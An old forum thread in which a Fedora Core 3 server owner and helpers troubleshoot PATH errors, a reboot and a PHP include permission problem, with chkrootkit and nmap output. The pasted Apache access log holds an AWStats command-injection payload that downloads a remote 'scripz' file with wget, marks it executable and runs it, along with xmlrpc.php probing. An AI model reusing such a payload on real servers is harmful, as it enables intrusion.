FC3 box acting weird

[Maniaman]

My Fedora Core 3 Box/Server has been acting weird lately.

For no reason at all it will stop recognizing certain commands at the shell, 'service' for example.

[root@localhost]# service httpd restart
bash: service: command not found

Apparently 55 minutes ago it rebooted itself or something for no apparent reason. My uptime was up to 165 days, and I just did an uptime command and it was down to 55 minutes.

I was also having an odd permission problem with files on my website
Warning: main(../forms/login.html): failed to open stream: Permission denied in /var/www/html/projects/element/pages/login.php on line 4

However, it was working fine a few hours ago, nothing has been changed on the server, and it has the same permissions as another file in the same folder which works fine.

Upon attempting to shut it down a couple minutes ago from ssh (logged in as root), I get another command not found error.
[root@localhost log]# shutdown -h now
bash: shutdown: command not found

So I ended up shutting it down the other way.
[root@localhost log]# /sbin/shutdown -h now


Any idea what could be causing it to 'forget' commands and such?

[Void Main]

For no reason at all it will stop recognizing certain commands at the shell, 'service' for example.

[root@localhost]# service httpd restart
bash: service: command not found

Apparently 55 minutes ago it rebooted itself or something for no apparent reason. My uptime was up to 165 days, and I just did an uptime command and it was down to 55 minutes.

I was also having an odd permission problem with files on my website
Warning: main(../forms/login.html): failed to open stream: Permission denied in /var/www/html/projects/element/pages/login.php on line 4

However, it was working fine a few hours ago, nothing has been changed on the server, and it has the same permissions as another file in the same folder which works fine.

Upon attempting to shut it down a couple minutes ago from ssh (logged in as root), I get another command not found error.
[root@localhost log]# shutdown -h now
bash: shutdown: command not found

So I ended up shutting it down the other way.
[root@localhost log]# /sbin/shutdown -h now


Any idea what could be causing it to 'forget' commands and such?

How do you "log in as root"? If you log in as a normal user and then "su" to root then "/sbin" and "/usr/sbin" will not be in your PATH. The commands will give that exact response. If you would do a "su -" then the PATH should be set properly for root (- makes it a login shell). You can also full path the commands if you only did a "su" (/sbin/service xxxx start). Now, if you did do an "su -" or if you log in directly on the console, or if you ssh directly in as root and still have that problem and you claim you didn't change anything then I would start looking *very* carefully at my logs and start looking for a root kit or suspicious files. Most specifically if someone found their way into your machine where they shouldn't be figure out exactly how they got in. Usually they leave good trails. Web server logs are usually the best place to start looking for suspicious activity. I would need to know more info about the permissions issue to be able to comment on it but if someone did exploit a weakness that could very well be close to the entry point.

[ZiaTioN]

I would not say it is "forgetting" commands, it is just not finding them in your $PATH. As you noticed, when you enter in the full path to that binary it executed fine.

Are you logging in as a regular user and then su'ing to root? If so are you remembering to invoke roots path variable?

su -

The hiphen (-) is what pulls in root's environment variable. If this is not the case you may have some coruption somewhere. Void could probably direct you in that matter more than I can. Another possibility could be a malicious intrusion of course. An attacker could have rooted your box and messed with your path variable to get you to execute false binaries.

Grab chkrootkit and check your system.

[ZiaTioN]

LOL!!

Looks like you were a bit quicker than me Void! It seems we had the same ideas in mind.

[Maniaman]

The su thing might have been the cause for the command not found errors, although I usually ssh in to the box as root when I am messing with services.

I found out that the power must have gone out while I was gone, so that explains why my uptime went from 165 days to 55 minutes.

I will do some log checking when I get the system back online (shut it down to clean out and do some work on).

The permission thing is quite odd, considering it has the same permissions as another file in the same folder, which works fine.

Quite a bit of dust will collect on fans and whatever is directly in front of them after running for 165 days
\

edit: the box is back online now, and I've been going through the httpd access log.
Nothing really odd in it aside from this which appears 5 or 6 times:

82.96.96.3 - - [13/Feb/2006:15:56:21 -0500] "CONNECT 82.96.96.3:802 HTTP/1.0" 200 24281 "-" "-"
82.96.96.3 - - [13/Feb/2006:15:56:21 -0500] "POST http://82.96.96.3:802/ HTTP/1.0" 200 24281 "-" "-"

Going to that address shows a bunch of random numbers/letters

L9G90WDS0ZY2JMMPU1C7EP0XJ205A5CTI1TLJ6S8R77EL20DAKQPSEE728WV2ZD44AY3GC4JL0W69AYY

I also noticed a bunch of this (none of these files exist)

65.71.146.93 - - [14/Feb/2006:10:06:32 -0500] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20211%2e234%2e113%2e241%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 25103 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:33 -0500] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20211%2e234%2e113%2e241%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 25103 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:36 -0500] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20211%2e234%2e113%2e241%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 25103 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:36 -0500] "POST /xmlrpc.php HTTP/1.1" 404 25103 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:40 -0500] "POST /blog/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:43 -0500] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:45 -0500] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:44 -0500] "POST /drupal/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:48 -0500] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:48 -0500] "POST /wordpress/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:49 -0500] "POST /xmlrpc.php HTTP/1.1" 404 25103 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:51 -0500] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
65.71.146.93 - - [14/Feb/2006:10:06:52 -0500] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

The first few items here defiantely look like an attempted bug exploit for some script. Fortunately, that doesn't exist on my server.

Now to run this chkrootkit thing.

[Maniaman]

Ran chkrootkit. Looks like it found a few suspicious files/folders...

[root@localhost chkrootkit-0.46a]# ./chkrootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not found
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not infected
Checking `mingetty'... not infected
Checking `netstat'... not infected
Checking `named'... not infected
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not infected
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not infected
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while...
/usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist /usr/lib/perl5/5.8.5/i386-linux-thread-multi/auto/Time/HiRes/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/auto/mod_perl/.packlist /lib/modules/2.6.9-1.667/build/scripts/.pnmtologo.cmd /lib/modules/2.6.9-1.667/build/scripts/basic/.fixdep.cmd /lib/modules/2.6.9-1.667/build/scripts/basic/.docproc.cmd /lib/modules/2.6.9-1.667/build/scripts/basic/.split-include.cmd /lib/modules/2.6.9-1.667/build/scripts/.conmakehash.cmd /lib/modules/2.6.9-1.667/build/scripts/genksyms/.genksyms.cmd /lib/modules/2.6.9-1.667/build/scripts/genksyms/.parse.o.cmd /lib/modules/2.6.9-1.667/build/scripts/genksyms/.lex.o.cmd /lib/modules/2.6.9-1.667/build/scripts/genksyms/.genksyms.o.cmd /lib/modules/2.6.9-1.667/build/scripts/.kallsyms.cmd /lib/modules/2.6.9-1.667/build/scripts/kconfig/.zconf.tab.o.cmd /lib/modules/2.6.9-1.667/build/scripts/kconfig/.conf.cmd /lib/modules/2.6.9-1.667/build/scripts/kconfig/.libkconfig.so.cmd /lib/modules/2.6.9-1.667/build/scripts/kconfig/.conf.o.cmd /lib/modules/2.6.9-1.667/build/scripts/kconfig/.mconf.o.cmd /lib/modules/2.6.9-1.667/build/scripts/mod/.modpost.o.cmd /lib/modules/2.6.9-1.667/build/scripts/mod/.file2alias.o.cmd /lib/modules/2.6.9-1.667/build/scripts/mod/.empty.o.cmd /lib/modules/2.6.9-1.667/build/scripts/mod/.elfconfig.h.cmd /lib/modules/2.6.9-1.667/build/scripts/mod/.mk_elfconfig.cmd /lib/modules/2.6.9-1.667/build/scripts/mod/.sumversion.o.cmd /lib/modules/2.6.9-1.667/build/scripts/mod/.modpost.cmd /lib/modules/2.6.9-1.667/build/.config /lib/modules/2.6.11-1.14_FC3/build/scripts/.pnmtologo.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/basic/.fixdep.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/basic/.docproc.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/basic/.split-include.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/.conmakehash.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/genksyms/.genksyms.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/genksyms/.parse.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/genksyms/.lex.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/genksyms/.genksyms.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/.kallsyms.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/kconfig/.zconf.tab.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/kconfig/.conf.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/kconfig/.conf.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/kconfig/.mconf.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/mod/.modpost.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/mod/.file2alias.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/mod/.empty.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/mod/.elfconfig.h.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/mod/.mk_elfconfig.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/mod/.sumversion.o.cmd /lib/modules/2.6.11-1.14_FC3/build/scripts/mod/.modpost.cmd /lib/modules/2.6.11-1.14_FC3/build/.config

Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for HKRK rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... eth0: not promisc and no PF_PACKET sockets
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'... chkutmp: nothing deleted
[root@localhost chkrootkit-0.46a]#

[Void Main]

Is 82.96.96.3 your address? What do you have listening on port 802? What does this command spit back at you:

Code: Select all

# netstat -anp | grep 802


Are you running some sort of open proxy? I go to that address in the browser and get this:

Please read http://freenode.net/policies.shtml#proxies

I scan your machine and I get this:

# nmap -O 82.96.96.3

Starting nmap 3.93 ( http://www.insecure.org/nmap/ ) at 2006-02-14 19:52 CST
Interesting ports on please.read.http.proxyscan.freenode.net (82.96.96.3):
(The 1654 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
802/tcp open unknown
4444/tcp filtered krb524
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux 2.4.0 - 2.5.20
Uptime 240.915 days (since Sat Jun 18 22:54:20 2005)

Nmap finished: 1 IP address (1 host up) scanned in 15.846 seconds

Are all those ports listed as "open" known to be open by you for a reason? Looks pretty exposed. telnet?? Part of freenode.net?[/url]

[Maniaman]

[root@localhost chkrootkit-0.46a]# netstat -anp | grep 802
unix 3 [ ] STREAM CONNECTED 6802 3000/dovecot

[Void Main]

Is 82.96.96.3 your address? If not, disregard everything in my last message.

[Maniaman]

No, 12.205.52.240 is my address.

I do frequent freenode IRC, maybe that has something to do with an open proxy scanner or something.

[Void Main]

So I guess there are only two unexplained things. The new permissions issue and the server reboot. You didn't have a power flash that would explain the reboot? Did you look in the logs carefully just prior to the reboot to see if there was anything out of the ordinary? As far as the permissions issue I can't be of much help as I don't know enough details about the code, permissions, etc.

[Maniaman]

I was talking to a few people who mentioned their power went out for a second or so around the time the machine would have restarted. I wasn't at home at the time, and since laptops have batteries it never got reset. Weird though that no clocks lost their time.

The permission issue is still puzzling. I basically have a login.php file that contains this line:

Code: Select all

include("$site_path/forms/login.html");

It was working fine when I was at school today, messing up sometime between 2:30 and 4:30 I would guess.

Code: Select all

[root@localhost forms]# ls -l
total 16
-rwxrwxr-x  1 maniaman website 300 Feb  9 14:08 login.html
-rwxrwxr-x  1 maniaman website 418 Feb  9 17:04 register.html

My register script, which includes the register.html file in that folder, works fine.


Also, in the chkrootkit log I posted, should I be worried about the files it listed? I looked at a few of them in vim and they looked like makefiles.

[Void Main]

No those files are supposed to be there, no need to be worried. So, looks like we're down to one unexplained issue now. Could the problem have started at the same time the power went out and the system was rebooted? Could it be something that could have been changed days ago but when httpd got restarted on the reboot the problem cropped up?

When I try to load that page I get an undefined variable, not a permission denied issue:

http://12.205.52.240/projects/element/pages/login.php

Notice: Undefined variable: site_path in /var/www/html/projects/element/pages/login.php on line 4

Warning: main(/forms/login.html): failed to open stream: No such file or directory in /var/www/html/projects/element/pages/login.php on line 4

Warning: main(): Failed opening '/forms/login.html' for inclusion (include_path='.:/usr/share/pear') in /var/www/html/projects/element/pages/login.php on line 4

Maybe httpd, php, pear, or something else was updated recently that caused the problem to crop up on the server restart? It is not secure to use variables in your include path and maybe some defaults were changed on a PHP upgrade. What happens when you change that "$site_path" to the actual proper full directory string?

[Maniaman]

http://12.205.52.240/projects/element/?pageid=login would be the place to go. The path will be set then.

Can't change the path and check right now, I'm at school and the ftp isn't running. SSH isn't set up to allow outside connections, so I can't conect to it and enable it.

I'll check when I get home.